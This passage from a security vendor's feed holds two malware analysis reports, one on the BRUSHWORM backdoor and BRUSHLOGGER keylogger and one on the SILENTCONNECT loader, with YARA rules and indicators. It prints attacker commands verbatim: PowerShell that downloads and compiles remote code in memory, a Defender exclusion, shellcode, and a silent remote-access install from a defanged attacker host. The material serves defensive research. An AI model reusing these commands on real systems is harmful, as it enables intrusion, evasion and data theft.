<p>The misspelling "Photoes" (instead of "Photos") is consistent across both the backdoor and keylogger components and appears to be an authentic mistake by the author to blend with the other user’s media directories.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt362bafa5594a8cbf/6a7c7a0b227b1c0d345925b9/image4.png" alt="The malware checks whether the installation directory already exists" title="The malware checks whether the installation directory already exists" /></p>
<h3 id="configurationdecryption">Configuration decryption</h3>
<p>The backdoor's configuration is stored as a JSON structure with field values encrypted using AES-CBC. The AES key is hardcoded in the binary, while the initialization vector (IV) is prepended to each encrypted field's data blob.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt16ff2524494fc862/6a7c7a0d42a117fe7b955fe7/image10.png" alt="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" title="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" /></p>
<p>The decrypted configuration follows this structure:</p>
<pre><code>{
  "internetCheckDomain": "&lt;...&gt;",
  "downloadDomain": "&lt;...&gt;",
  "retryCount": 0
}
</code></pre>
<p>This configuration is not referenced anywhere in the malware's operational logic. The C2 server address that the backdoor actually communicates with is a separate C++ global string variable stored in cleartext(<code>resources.dawnnewsisl[.]com/updtdll</code>), which is passed directly to the function responsible for C2 communication and payload downloads.<br />
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8c430bd432fcb82d/6a7c7a10de2315774afd1d04/image11.png" alt="Download_payload function call" title="Download_payload function call" /></p>
<p>The decrypted configuration fields (<code>internetCheckDomain</code>, <code>downloadDomain</code>, <code>retryCount</code>) go entirely unused in this build. This configuration is likely intended for a future version, a separate payload component, or was simply disabled in the deployed build, reinforcing the impression of a codebase under active, disorganized development.</p>
<h3 id="persistence">Persistence</h3>
<p>The malware establishes persistence by creating a Windows scheduled task named <code>MSGraphics</code> through the COM Task Scheduler interface. The task is configured to execute the malware binary each time a user logs in, ensuring the backdoor survives system reboots.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt592123aadb87eca5/6a7c7a13448e4ecc715baa6e/image1.png" alt="Persistence was established through a COM-based scheduled task named MSGraphics" title="Persistence was established through a COM-based scheduled task named MSGraphics" /></p>
<h3 id="payloaddownloadandexecution">Payload download and execution</h3>
<p>The backdoor uses the WinHTTP library to issue a <code>GET</code> request to the C2 server at the URI <code>/updtdll</code> to download a DLL payload. The downloaded binary is written to <code>C:\Users\Public\Libraries\</code> as <code>Recorder.dll</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb600ae1ab934a99f/6a7c7a1680ee38604d60d09c/image3.png" alt="WinHTTP GET request to /updtdll to fetch the DLL payload" title="WinHTTP GET request to /updtdll to fetch the DLL payload" /></p>
<p>We were unable to recover the downloaded payload during our investigation, but the naming convention and execution method suggest it is a modular plugin — likely providing additional post-exploitation capabilities such as screen recording or data exfiltration.</p>
<p>The downloaded DLL is executed by creating a second scheduled task named MSRecorder that uses <code>rundll32.exe</code> to load and run it. This mirrors the same COM-based scheduled task creation method used for persistence.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc061ce22004ece8c/6a7c7a199f52517a23663f72/image13.png" alt="" /></p>
<p>The C2 server's SSL certificate is issued by Let's Encrypt.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta95414b9f9b42fda/6a7c7a1b5967e517415d7470/image6.png" alt="Let's Encrypt SSL certificate used by the C2 server" title="Let's Encrypt SSL certificate used by the C2 server" /></p>
<h3 id="usbspreadingandfiletheft">USB spreading and file theft</h3>
<p>Once <strong>BRUSHWORM</strong> detects that the host is already infected (by checking for the presence of the installation directory), its behavior diverges based on internet connectivity. The malware performs a connectivity check by attempting to reach <code>www.google.com</code>.</p>
<h4 id="scenario1internetaccessavailable">Scenario 1 — Internet access available:</h4>
<p>The malware spawns two threads targeting external storage devices:</p>
<ol>
<li><strong>Removable drive infection:</strong> The backdoor copies itself to any connected removable storage devices using socially-engineered filenames designed to entice victims in a corporate financial environment:  </li>
</ol>
<ul>
<li><code>Salary Slips.exe</code>  </li>
<li><code>Notes.exe</code>  </li>
<li><code>Documents.exe</code>  </li>
<li><code>Important.exe</code>  </li>
<li><code>Dont Delete.exe</code>  </li>
<li><code>Presentation.exe</code>  </li>
<li><code>Emails.exe</code>  </li>
<li><code>Attachments.exe</code>  </li>
</ul>
<ol>
<li><strong>File theft from removable and optical drives:</strong> Both threads enumerate files on the connected media and exfiltrate to a folder any file matching a broad set of targeted extensions:</li>
</ol>
<p>| Category | Extensions |
| ----- | ----- |
| Documents &amp; Word Processing | <code>.doc</code>, <code>.docx</code>, <code>.dot</code>, <code>.dotx</code>, <code>.wps</code>, <code>.wpd</code>, <code>.wp</code>, <code>.rtf</code>, <code>.txt</code>, <code>.odt</code>, <code>.ott</code>, <code>.pages</code> |
| Spreadsheets | <code>.xls</code>, <code>.xlsx</code>, <code>.xlsm</code>, <code>.xlt</code>, <code>.xltx</code>, <code>.xlw</code>, <code>.ods</code>, <code>.ots</code>, <code>.csv</code>, <code>.tsv</code>, <code>.dbf</code>, <code>.wk1</code>, <code>.wk3</code>, <code>.wk4</code>, <code>.123</code> |
| Presentations | <code>.ppt</code>, <code>.pptx</code>, <code>.pot</code>, <code>.potx</code>, <code>.pps</code>, <code>.ppsx</code>, <code>.odp</code>, <code>.otp</code>, <code>.key</code>, <code>.sxi</code> |
| Portable &amp; Layout | <code>.pdf</code>, <code>.xps</code>, <code>.epub</code>, <code>.mobi</code>, <code>.ps</code>, <code>.prn</code>, <code>.tex</code>, <code>.latex</code>, <code>.pub</code>, <code>.p65</code>, <code>.fm</code> |
| Archives &amp; Disk Images | <code>.zip</code>, <code>.rar</code>, <code>.7z</code>, <code>.tar</code>, <code>.gz</code>, <code>.bz2</code>, <code>.xz</code>, <code>.iso</code>, <code>.cab</code>, <code>.arj</code>, <code>.lzh</code>, <code>.lha</code>, <code>.tgz</code>, <code>.tbz</code>, <code>.txz</code> |
| Email &amp; Notes | <code>.pst</code>, <code>.ost</code>, <code>.msg</code>, <code>.eml</code>, <code>.emlx</code>, <code>.mbox</code>, <code>.mbx</code>, <code>.maildir</code>, <code>.one</code> |
| Code &amp; Data | <code>.py</code>, <code>.md</code>, <code>.xml</code>, <code>.json</code> |</p>
<p>Stolen files are staged in the <code>C:\Users\Public\Systeminfo\</code> directory. The malware also maintains a tracking file (<code>hashconfig</code>) at <code>C:\Users\Public\AppData\Roaming\NuGet\</code> that records each exfiltrated file's path alongside its SHA-256 hash, likely to avoid re-exfiltrating the same files on subsequent runs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf7bef28bc0c0731b/6a7c7a1f2f00b2244fef8d5d/image9.png" alt="Removable drive infection with lure filenames and file theft by extension" title="Removable drive infection with lure filenames and file theft by extension" /></p>
<h4 id="scenario2nointernetaccess">Scenario 2 — No internet access:</h4>
<p>If the internet connectivity check fails, the malware still infects removable drives with the same lure-named copies. However, in this scenario, it additionally copies stolen files and files from the user's profile directory (matching the same extension list) to the removable drives. This behavior serves as a data exfiltration bridge for <strong>environments with restricted or air-gapped network access</strong> — using USB drives to physically carry stolen data off the network.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcc5eff7e5e147711/6a7c7a2277b03407f03f94d7/image12.png" alt="Offline mode: stolen files copied to removable drives for physical exfiltration" title="Offline mode: stolen files copied to removable drives for physical exfiltration" /></p>
<h2 id="brushloggercodeanalysis">BRUSHLOGGER code analysis</h2>
<p>The second component is a 32-bit Windows DLL (<code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code>) designed for DLL side-loading. It masquerades as <code>libcurl.dll</code> by exporting seven standard <code>curl_easy_*</code> API functions, all of which are empty stubs pointing to a single <code>RET</code> instruction. The malicious functionality executes entirely from the <code>DllMain</code> entry point on <code>DLL_PROCESS_ATTACH</code>.</p>
<h3 id="initialization">Initialization</h3>
<p>At startup, the keylogger decodes a mutex name from a Base64-encoded string: “<code>Windows-Updates-KB852654856</code>”. The mutex name mimics a Windows Update knowledge base identifier. If <code>CreateMutexA</code> returns <code>ERROR_ALREADY_EXISTS</code>, the process terminates immediately to enforce single-instance execution.</p>
<p><strong>BRUSHLOGGER</strong> retrieves the current Windows username via <code>GetUserNameA</code>, computes its MD5 hash using the Windows CryptoAPI, and constructs the final log file path:</p>
<pre><code>C:\programdata\Photoes\&lt;username&gt;_&lt;MD5(username)&gt;.trn
</code></pre>
<p>The log file is initially created with <code>CreateFileA</code> using <code>CREATE_NEW</code>, then reopened with <code>FILE_APPEND_DATA</code> access for append-mode writing throughout the session.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c25ec642ba0cee2/6a7c7a25c2cc095bbe2432ba/image8.png" alt="Log file creation" title="Log file creation" /></p>
<h3 id="hookinstallationandmessagepump">Hook installation and message pump</h3>
<p>After file setup, the keylogger installs a low-level keyboard hook: </p>
<pre><code>SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_hook_callback, NULL, 0);
</code></pre>
<p>The <code>WH_KEYBOARD_LL</code> hook type captures keyboard input system-wide across all threads and processes. The hook procedure runs in the context of the installing thread, requiring a standard Windows message pump (<code>GetMessageA</code> / <code>TranslateMessage</code> / <code>DispatchMessageA</code>) to keep the hook alive.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt60b3573125208b9f/6a7c7a288fc2d0188d3e87ed/image2.png" alt="Keyboard hook installation and message pump" title="Keyboard hook installation and message pump" /></p>
<h3 id="keystrokecapturelogic">Keystroke capture logic</h3>
<p>The core capture logic resides in the hook callback, which processes every keyboard event in the system.</p>
<p>For each keystroke event, the callback:</p>
<ol>
<li>Retrieves the foreground window handle via <code>GetForegroundWindow</code>  </li>
<li>Allocates memory via <code>VirtualAlloc</code> for the window title  </li>
<li>Captures the current timestamp via <code>GetLocalTime</code>, formatted as <code>DD-MM-YYYY HH:MM</code>  </li>
<li>Retrieves the window title bar text via <code>GetWindowTextA</code></li>
</ol>
<p>When the foreground window changes, a context marker is appended to the keystroke buffer:</p>
<pre><code>\n&lt;timestamp&gt; &lt;window title&gt;\n
</code></pre>
<p><strong>Keystroke encoding:</strong> The callback processes <code>WM_KEYDOWN</code>, <code>WM_SYSKEYDOWN</code>, <code>WM_KEYUP</code>, and <code>WM_SYSKEYUP</code> messages. Each keystroke is logged as a two-digit hexadecimal virtual key.</p>
<h3 id="xorencryptedlogfiles">XOR-encrypted log files</h3>
<p>The flush routine copies the keystroke buffer to a local stack buffer, XOR-encrypts each byte with a hardcoded single-byte key <code>0x43</code>, and writes the result to the log file via <code>WriteFile</code>. After a successful write, the global buffer is cleared.</p>
<p>The XOR key <code>0x43</code> is trivially reversible — the encryption serves only as basic obfuscation rather than meaningful cryptographic protection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c5ebf40243d93ff/6a7c7a2b3ce8e24336cef606/image5.png" alt="XOR decrypting a keylogger file with the byte 0x43" title="XOR decrypting a keylogger file with the byte 0x43" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>Despite their low sophistication and multiple implementation flaws, these two binaries deliver a functional collection platform that combines modular payload loading, USB worm propagation, broad file theft with air-gap bridging, and persistent keystroke capture via DLL side-loading. The iterative testing versions and active C2 infrastructure suggest an actor still refining their toolset. Elastic Security Labs will continue monitoring this activity cluster.</p>
<h2 id="brushloggerbrushwormandmitreattck">BRUSHLOGGER, BRUSHWORM, and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT\&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1091/">Replication Through Removable Media</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1119/">Automated Collection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1025/">Data from Removable Media</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
</ul>
<h2 id="detectingbrushloggerandbrushworm">Detecting BRUSHLOGGER and BRUSHWORM</h2>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BRUSHWORM and BRUSHLOGGER:</p>
<pre><code>rule Windows_Trojan_BrushLogger_304ee146 {
    meta:
        author = "Elastic Security"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BrushLogger"
        threat_name = "Windows.Trojan.BrushLogger"
        reference_sample = "4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf"

    strings:
        $a = "%02d-%02d-%d %02d:%02d " fullword
        $b = { 81 ?? ?? A1 00 00 00 74 09 81 ?? ?? A0 00 00 00 75 09 6A 00 6A 10 E8 }
    condition:
        all of them
}

rule Windows_Trojan_BrushWorm_7c2098ef {
    meta:
        author = "Elastic Security"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BrushWorm"
        threat_name = "Windows.Trojan.BrushWorm"
        reference_sample = "89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7"

    strings:
        $a = "internetCheckDomain" wide fullword
        $b = { B8 00 00 00 40 33 C9 0F A2 48 8D ?? ?? ?? 89 07 89 5F 04 89 4F 08 89 57 0C 45 33 C0 }
    condition:
        all of them
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7</code> | SHA-256 | paint.exe | BRUSHWORM |
| <code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code> | SHA-256 | libcurl.dll | BRUSHLOGGER |
| <code>resources.dawnnewsisl[.]com/updtdll</code> | domain-name |  | C2 server |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/brushworm-targets-financial-services</link>
    <guid isPermaLink="false">brushworm-targets-financial-services</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd154714381968da6/6a7c7a2e51156a551a2bc7ea/brushworm-targets-financial-services.webp" length="0" type="image/webp"/>
    <pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect]]></title>
    <description><![CDATA[SILENTCONNECT is a multi-stage loader that leverages VBScript, in-memory PowerShell execution, and PEB masquerading to silently deploy the ScreenConnect RMM tool.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.</p>
<p>This campaign highlights a common theme: attackers abusing living-off-the-land binaries (<a href="https://lolbas-project.github.io/">LOLBins</a>) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>SILENTCONNECT is a newly discovered loader actively being used in-the-wild  </li>
<li>This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines  </li>
<li>Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive  </li>
<li>SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass  </li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfcbb9a4548e62be3/6a7c93e7437e0f0acfdd5961/image13.png" alt="SILENTCONNECT attack diagram" title="SILENTCONNECT attack diagram" /></p>
<h2 id="silentconnectinfectionchain">SILENTCONNECT infection chain</h2>
<p>In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1543559121a9129b/6a7c93ea8fc2d044a63e8c3c/image12.png" alt="Elastic Defend alerts" title="Elastic Defend alerts" /></p>
<p>The initial VBScript download triggered our <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_downloaded_from_the_internet.toml">Suspicious Windows Script Downloaded from the Internet rule</a>, which let us pivot to the source of the infection using the associated <code>file.origin_url</code> and <code>file.origin_referrer_url</code> fields.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt050365f18939042b/6a7c93ec05b7b5031f185e04/image10.png" alt="File origin fields" title="File origin fields" /></p>
<p>By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (<code>E-INVITE.vbs</code>) is downloaded to the machine.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcbe502981517c7c5/6a7c93efbd219881017525f9/image19.png" alt="Cloudflare CAPTCHA page" title="Cloudflare CAPTCHA page" /></p>
<p>Below is the source code of the landing page, we can see that the VBScript file (<code>E-INVITE.vbs</code>) is hosted on Cloudflare’s object storage service <a href="https://developers.cloudflare.com/r2/"><code>r2.dev</code></a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ff29768dfa95abf/6a7c93f2b4377075064d138a/image8.png" alt="Landing page source code" title="Landing page source code" /></p>
<p>Below are other VBScript filenames observed in the last month related to these campaigns:</p>
<ul>
<li><code>Alaska Airlines 2026 Fleet &amp; Route Expansion Summary.vbs</code>  </li>
<li><code>CODE7_ZOOMCALANDER_INSTALLER_4740.vbs</code>  </li>
<li><code>2025Trans.vbs</code>  </li>
<li><code>Proposal-03-2026.vbs</code>  </li>
<li><code>2025Trans.vbs</code>  </li>
<li><code>updatv35.vbs</code></li>
</ul>
<p>The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the <code>Replace()</code> and <code>Chr()</code> functions to hide the next stage.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd0153fbf0754639f/6a7c93f451156a66d22bcc9d/image17.png" alt="Obfuscated VBScript" title="Obfuscated VBScript" /></p>
<p>This script de-obfuscates to the following command-line output:</p>
<pre><code>"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&amp;export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""
</code></pre>
<p>This snippet uses PowerShell to invoke <code>curl.exe</code> to download a C# payload from Google Drive, which is then written to the disk with the file name (<code>C:\Windows\Temp\FileR.txt</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb50b3c00bab31c1e/6a7c93f8448e4e49c55baf48/image4.png" alt="cURL download via PowerShell" title="cURL download via PowerShell" /></p>
<p>The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26862413cf113c18/6a7c93fb6c6eac7424f0e751/image15.png" alt="C# source code downloaded from Google Drive" title="C# source code downloaded from Google Drive" /></p>
<p>Finally, the PowerShell command compiles the downloaded C# source (<code>FileR.txt</code>) at runtime using <code>Add-Type</code>, loads it into memory as a .NET assembly, and executes it via the <code>[HelloWorld]::SayHello()</code> method.</p>
<h2 id="silentconnect">SILENTCONNECT</h2>
<p>The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7373697a5145074f/6a7c93fec2cc09cf3a243752/image5.png" alt="SILENTCONNECT - DNspy namespace/class structure" title="SILENTCONNECT - DNspy namespace/class structure" /></p>
<p>After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via <code>NtAllocateVirtualMemory</code>, assigning the region <code>PAGE_EXECUTE_READWRITE</code> permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:</p>
<pre><code>53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret
</code></pre>
<p>This small shellcode is moved into the recently allocated memory using <code>Marshal.Copy</code>. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt99118c29d9163e28/6a7c9401b4377065214d13a1/image1.png" alt="Copying shellcode into memory via NtAllocateVirtualMemory" title="Copying shellcode into memory via NtAllocateVirtualMemory" /></p>
<p>SILENTCONNECT uses NTAPIs from <code>ntdll.dll</code> (Native APIs) and <code>ole32.dll</code> (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as <code>NtWriteVirtualMemory</code> or <code>CoGetObject</code> directly from<code>.NET</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2a42a9295830f5c7/6a7c940333fa8a51501fcd21/image11.png" alt="Delegate setup for NTAPI’s" title="Delegate setup for NTAPI’s" /></p>
<p><strong>PEB Masquerading</strong> </p>
<p>SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">Process Environment Block</a> (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its <code>BaseDLLName</code> and <code>FullDllName</code> to <code>winhlp32.exe</code> and <code>c:\windows\winhlp32.exe</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt591ae1dc59a20aed/6a7c94063ce8e2baaecefaa7/image20.png" alt="PEB masquerading feature" title="PEB masquerading feature" /></p>
<p>Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself. </p>
<p>Before launching the payload, the malware implements a UAC bypass using the function <code>LaunchElevatedCOMObjectUnsafe</code> with the moniker string reversed: <code>:wen!rotartsinimdA:noitavelE -&gt; Elevation:Administrator!new:</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63a992b7a7859ef9/6a7c9409e88c651a53005be5/image18.png" alt="COM setup using elevation moniker" title="COM setup using elevation moniker" /></p>
<p>If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">CMSTPLUA COM interface</a>. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt894e126c1920c171/6a7c940cbd2198c811752611/image14.png" alt="Launch parameters for ScreenConnect install" title="Launch parameters for ScreenConnect install" /></p>
<p>The first part of this obfuscated command adds a Microsoft Defender exclusion for <code>.exe</code> files.</p>
<pre><code>$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&amp;($ConcreteDataStructure) 
-ExclusionExtension $s -Force;
</code></pre>
<p>Below is the result of this command in Defender with the exception added:<br />
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbaaa79c9b47e302c/6a7c940fb43770d8b34d13ab/image2.png" alt="SILENTCONNECT adding Microsoft Defender exception" title="SILENTCONNECT adding Microsoft Defender exception" /></p>
<p>After adding the exclusion, SILENTCONNECT creates a temporary directory (<code>C:\Temp</code>) and uses <code>curl.exe</code> to download the malicious ScreenConnect client installer into it. It then invokes <code>msiexec.exe</code> to silently install the RMM. Below is the second-half of the command-line:</p>
<pre><code>New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&amp;y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"
</code></pre>
<p>Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at <code>bumptobabeco[.]top</code> over TCP port <code>8041</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbf3097382a554fa5/6a7c941196b5a61abc87594d/image16.png" alt="ScreenConnect Client outbound network activity" title="ScreenConnect Client outbound network activity" /></p>
<h2 id="silentconnectcampaign">SILENTCONNECT campaign</h2>
<p>The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (<code>YOU ARE INVITED.eml</code>) uploaded to VirusTotal from a campaign last year. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte829eb6e8aafc3e5/6a7c94142f00b27c2fef91ef/image21.png" alt="Phishing email - Subject “YOU ARE INVITED”" title="Phishing email - Subject “YOU ARE INVITED”" /></p>
<p>The email is sent from <code>dan@checkfirst[.]net[.]au</code> and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure <code>imansport[.]ir/download_invitee.php</code>. </p>
<p>Notably, the threat actor reused the same URI path (<code>download_invitee.php</code>) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as <code>entity:url url:download_invitee.php</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt457cd724b72b67db/6a7c941705b7b53307185e26/image9.png" alt="Pivot example using same URI" title="Pivot example using same URI" /></p>
<p>We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (<code>solpru[.]com/process/docusign[.]html</code>) hosts a page that closely mimics the DocuSign electronic signature platform.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd8e33ce1d906e9b/6a7c9419de2315fe77fd2172/image3.png" alt="" /><br />
Fake <em>DocuSign portal</em></p>
<p>This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (<code>instance-lh1907-relay.screenconnect[.]com</code>).<br />
